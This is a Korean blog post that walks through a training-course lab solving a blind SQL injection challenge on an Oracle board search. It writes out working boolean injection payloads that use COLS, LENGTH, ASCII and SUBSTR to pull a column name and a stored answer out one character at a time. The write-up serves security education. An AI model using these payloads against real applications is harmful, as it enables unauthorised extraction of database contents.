yon11b

[SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취) 본문

보안/SK 쉴더스 루키즈

[SK 쉴더스 루키즈] Blind SQL Injection(Oracle 컬럼명 탈취)

yon11b 2026. 6. 25. 09:12
반응형

Blind SQL Injection (2)

게시글 검색창에서 Blind SQL Injection이 발생한다. 해당 구간에서 ANSWER 테이블의 데이터를 이용하여 정답을 찾으시오. Hint DB명: INF6 테이블명: ANSWER

SQL Injection Oracle 5번 - Blind

1. 풀이 과정

1) 쿼리문 유추

SELECT *
FROM board
WHERE 제목 LIKE '%%'
   OR 작성자 LIKE '%%';

2) 공격 포인트

다음 입력을 했을 때,

a%' and '%'='

결과가 a를 입력했을 때와 동일하게 출력된다.

 

3) 컬럼명 탈취

컬럼 개수 확인

컬럼은 총 5개이다.

a%' AND (SELECT COUNT(*) FROM COLS WHERE TABLE_NAME='ANSWER') = 5 AND '%'='

 


헷갈리는 포인트

- 컬럼명 길이 구할 때 > length

- 컬럼의 개수 구할 때 > count(*)

 

두번째 컬럼명의 길이 구할 때: length

select length((select column_name from 
(select column_name, rownum r from cols) where r=2)) from dual;

주의해야할 점: length에는 인자가 하나만 들어가야 해서 괄호를 한 번 더 감싸줘야 한다.

이해가 안 간다면?

더보기

바깥 괄호:

 
length(값)
 

LENGTH 함수의 인자를 넣는 괄호다.

안쪽 괄호:

 
(select column_name from ...)
 

서브쿼리를 하나의 값처럼 만들기 위한 괄호다.

즉 구조는 이렇게 보면 된다.

 
LENGTH(  (서브쿼리)  )
 

예를 들어 직접 문자열이면:

 
select length('ANSWER') from dual;
 

결과는 6.

근데 문자열을 서브쿼리로 가져오면:

 
select length((select 'ANSWER' from dual)) from dual;
 

이렇게 된다.

안쪽 (select 'ANSWER' from dual)이 결국 'ANSWER'라는 값 하나로 바뀌고,

 
length('ANSWER')
 

처럼 실행되는 것이다

 

컬럼의 개수 구할 때: count(*)

a%' AND (SELECT COUNT(*) FROM COLS WHERE TABLE_NAME='ANSWER') = 5 AND '%'='

첫 번째 컬럼명 추출

첫 번째 글자 확인

a%' AND ASCII(
    SUBSTR(
        (SELECT COLUMN_NAME
         FROM (
             SELECT COLUMN_NAME, ROWNUM r
             FROM COLS
             WHERE TABLE_NAME='ANSWER'
         )
         WHERE r=1),
    1,1)
) = ASCII('A') AND '%'='

결과: A

 

두 번째 글자 확인

a%' AND ASCII(
    SUBSTR(
        (SELECT COLUMN_NAME
         FROM (
             SELECT COLUMN_NAME, ROWNUM r
             FROM COLS
             WHERE TABLE_NAME='ANSWER'
         )
         WHERE r=1),
    2,1)
) = ASCII('N') AND '%'='

결과: N

컬럼명이 ANSWER일 것으로 추측할 수 있다.

 

컬럼명 길이 확인

10 이하인지 확인

a%' AND LENGTH(
    (SELECT COLUMN_NAME
     FROM (
         SELECT COLUMN_NAME, ROWNUM r
         FROM COLS
         WHERE TABLE_NAME='ANSWER'
     )
     WHERE r=1)
) < 10 AND '%'='

길이가 6인지 확인

a%' AND LENGTH(
    (SELECT COLUMN_NAME
     FROM (
         SELECT COLUMN_NAME, ROWNUM r
         FROM COLS
         WHERE TABLE_NAME='ANSWER'
     )
     WHERE r=1)
) = 6 AND '%'='

따라서 첫 번째 컬럼명은 ANSWER임을 확인하였다.

 

4) 정답 탈취

ANSWER 컬럼 첫 번째 행의 길이 확인

길이는 4이다.

a%' AND LENGTH(
    (SELECT ANSWER FROM ANSWER WHERE ROWNUM=1)
)=4 AND '%'='

 

 

첫 번째 글자 확인

a%' AND ASCII(
    SUBSTR((SELECT ANSWER FROM ANSWER WHERE ROWNUM=1),1,1)
)=ASCII('a') AND '%'='

결과: a

 

두 번째 글자 확인

a%' AND ASCII(
    SUBSTR((SELECT ANSWER FROM ANSWER WHERE ROWNUM=1),2,1)
)=ASCII('n') AND '%'='

결과: n

 

세 번째 글자 확인

a%' AND ASCII(
    SUBSTR((SELECT ANSWER FROM ANSWER WHERE ROWNUM=1),3,1)
)=ASCII('t') AND '%'='

결과: t

 

네 번째 글자 확인

a%' AND ASCII(
    SUBSTR((SELECT ANSWER FROM ANSWER WHERE ROWNUM=1),4,1)
)=ASCII('6') AND '%'='

결과: 6

 

2. 정답

ant6
728x90